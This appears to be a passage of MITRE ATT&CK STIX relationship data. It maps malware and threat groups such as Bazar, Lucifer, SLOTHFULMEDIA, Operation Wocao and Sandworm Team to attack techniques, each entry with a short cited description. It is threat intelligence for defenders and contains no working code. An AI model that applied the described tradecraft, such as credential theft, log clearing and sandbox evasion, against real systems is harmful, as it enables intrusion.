                    "source_name": "CISA MAR SLOTHFULMEDIA October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a",
                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has mimicked the names of known executables, such as mediaplayer.exe.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
            "relationship_type": "uses",
            "id": "relationship--0f174d38-f30b-4037-a1bc-ecc099809966",
            "type": "relationship",
            "modified": "2020-11-17T18:39:07.111Z",
            "created": "2020-11-17T18:39:07.111Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "CISA MAR SLOTHFULMEDIA October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a",
                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has downloaded files onto a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
            "relationship_type": "uses",
            "id": "relationship--99f5f421-c462-472c-9aa8-29a4316c3f5e",
            "type": "relationship",
            "modified": "2020-11-17T18:39:07.179Z",
            "created": "2020-11-17T18:39:07.179Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can clear and remove event logs.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--4ceb5590-5539-424c-9859-1a35d62bbf04",
            "type": "relationship",
            "modified": "2020-11-17T19:16:59.823Z",
            "created": "2020-11-17T19:16:59.823Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can identify the process that owns remote connections.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
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            "type": "relationship",
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            ],
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                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
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                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
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                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can crash a debugger by passing a format string to <code>OutputDebugStringA()</code>.(Citation: Unit 42 Lucifer June 2020)",
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                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can infect victims by brute forcing SMB.(Citation: Unit 42 Lucifer June 2020)",
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                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
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            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use WMI to log into remote machines for propagation.(Citation: Unit 42 Lucifer June 2020)",
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                }
            ],
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                }
            ],
            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used the command <code>net localgroup administrators</code> to list all administrators part of a local group.(Citation: FoxIT Wocao December 2019)",
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            ],
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            ],
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            ],
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            ],
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                }
            ],
            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used the <code>tasklist</code> command to search for one of its backdoors.(Citation: FoxIT Wocao December 2019)",
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                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
                }
            ],
            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used the <code>time</code> command to retrieve the current time of a compromised system.(Citation: FoxIT Wocao December 2019)",
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            ],
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            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used PowerShell to add and delete rules in the Windows firewall.(Citation: FoxIT Wocao December 2019)",
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            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has created services on remote systems for execution purposes.(Citation: FoxIT Wocao December 2019)",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) has been signed with fake certificates including those appearing to be from VB CORPORATE PTY. LTD.(Citation: Cybereason Bazar July 2020)",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
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                    "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware",
                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can gain execution via malicious links to decoy landing pages hosted on Google Docs.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
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                }
            ],
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "Zscaler Bazar September 2020",
                    "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware",
                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
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                }
            ],
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
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                }
            ],
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
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                }
            ],
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
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                }
            ],
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can create or add files to Registry Run Keys to establish persistence.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
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                    "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware",
                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) has a variant with a packed payload.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)",
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can use various APIs to allocate memory and facilitate code execution/injection.(Citation: Cybereason Bazar July 2020)",
            "relationship_type": "uses",
            "id": "relationship--ea40d7a0-bb12-4ed1-a5bd-efdc6bdad4b2",
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can identity the current process on a compromised host.(Citation: Cybereason Bazar July 2020)",
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can collect the time on the compromised host.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can create a task named to appear benign.(Citation: Cybereason Bazar July 2020)",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
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                }
            ],
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can attempt to overload sandbox analysis by sending 1550 calls to <code>printf</code>.(Citation: Cybereason Bazar July 2020)",
            "relationship_type": "uses",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can implement DGA using the current date as a seed variable.(Citation: Cybereason Bazar July 2020)",
            "relationship_type": "uses",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
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                }
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                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
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                }
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
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                    "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware",
                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can launch cmd.exe to perform reconnaissance commands.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
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            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can open a command line to execute commands.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has a keylogging capability.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has collected system name, OS version, adapter information, memory usage, and disk information from a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has enumerated processes by ID, name, or privileges.(Citation: CISA MAR SLOTHFULMEDIA October 2020) ",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
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            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has collected the username from a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
            "relationship_type": "uses",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has sent system information to a C2 server via HTTP and HTTPS POST requests.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can enumerate files and directories.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can add, modify, and/or delete registry keys. It has changed the proxy configuration of a victim system by modifying the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap</code> registry.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has taken a screenshot of a victim's desktop, named it \"Filter3.jpg\", and stored it in the local directory.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
            "relationship_type": "uses",
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                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
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            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to enumerate services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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                }
            ],
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            ],
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            ],
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            ],
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            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has uploaded files and information from victim machines.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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            ],
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            ],
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            ],
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                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can use TLS in C2 communications.(Citation: Zscaler Bazar September 2020)",
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                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can use .NET API calls in the SharpHound ingestor component to pull Active Directory data.(Citation: GitHub Bloodhound)",
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                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain groups and members.(Citation: CrowdStrike BloodHound April 2018)",
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                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information about local groups and members.(Citation: CrowdStrike BloodHound April 2018)",
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                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect password policy information on the target environment.(Citation: CrowdStrike BloodHound April 2018)",
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                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can enumerate and collect the properties of domain computers, including domain controllers.(Citation: CrowdStrike BloodHound April 2018)",
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                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
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                    "source_name": "GitHub Bloodhound"
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can compress data collected by its SharpHound ingestor into a ZIP file to be written to disk.(Citation: GitHub Bloodhound)",
            "relationship_type": "uses",
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                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information on user sessions.(Citation: CrowdStrike BloodHound April 2018)",
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            "type": "relationship",
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            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use [certutil](https://attack.mitre.org/software/S0160) for propagation on Windows hosts within intranets.(Citation: Unit 42 Lucifer June 2020)",
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                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) has used UPX packed binaries.(Citation: Unit 42 Lucifer June 2020)",
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                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                }
            ],
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                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
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            ],
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                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials",
                    "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020."
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                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
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                }
            ],
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                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.",
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                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from Vault files.(Citation: GitHub LaZagne Dec 2018)\t",
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                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
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                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
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                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/groups/G0095) has used msiexec to install the [Machete](https://attack.mitre.org/software/S0409) malware.(Citation: 360 Machete Sep 2020)",
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                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/groups/G0095) has used batch files to initiate additional downloads of malicious files.(Citation: 360 Machete Sep 2020)",
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                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
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                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has set up Facebook pages in tandem with fake websites.(Citation: Volexity Ocean Lotus November 2020)",
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                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has set up and operated websites to gather information and deliver malware.(Citation: Volexity Ocean Lotus November 2020)",
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                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has set up Dropbox, Amazon S3, and Google Drive to host malicious downloads.(Citation: Volexity Ocean Lotus November 2020)",
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                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
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            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used malicious links to direct users to web pages designed to harvest credentials.(Citation: Volexity Ocean Lotus November 2020)",
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                    "source_name": "Volexity Ocean Lotus November 2020",
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                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used Dropbox, Amazon S3, and Google Drive to host malicious downloads.(Citation: Volexity Ocean Lotus November 2020)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has created email accounts that mimic legitimate organizations for its spearphishing operations.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                }
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                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has crafted phishing emails containing malicious hyperlinks.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has registered domain names and created URLs that are often designed to mimic or spoof legitimate websites, such as email login pages, online file sharing and storage websites, and password reset pages.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has leased servers from resellers instead of leasing infrastructure directly from hosting companies to enable its operations.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--5a76872f-862b-414c-a71d-f0dc39a6c3b4",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) temporarily disrupted service to Georgian government, non-government, and private sector websites after compromising a Georgian web hosting provider in 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
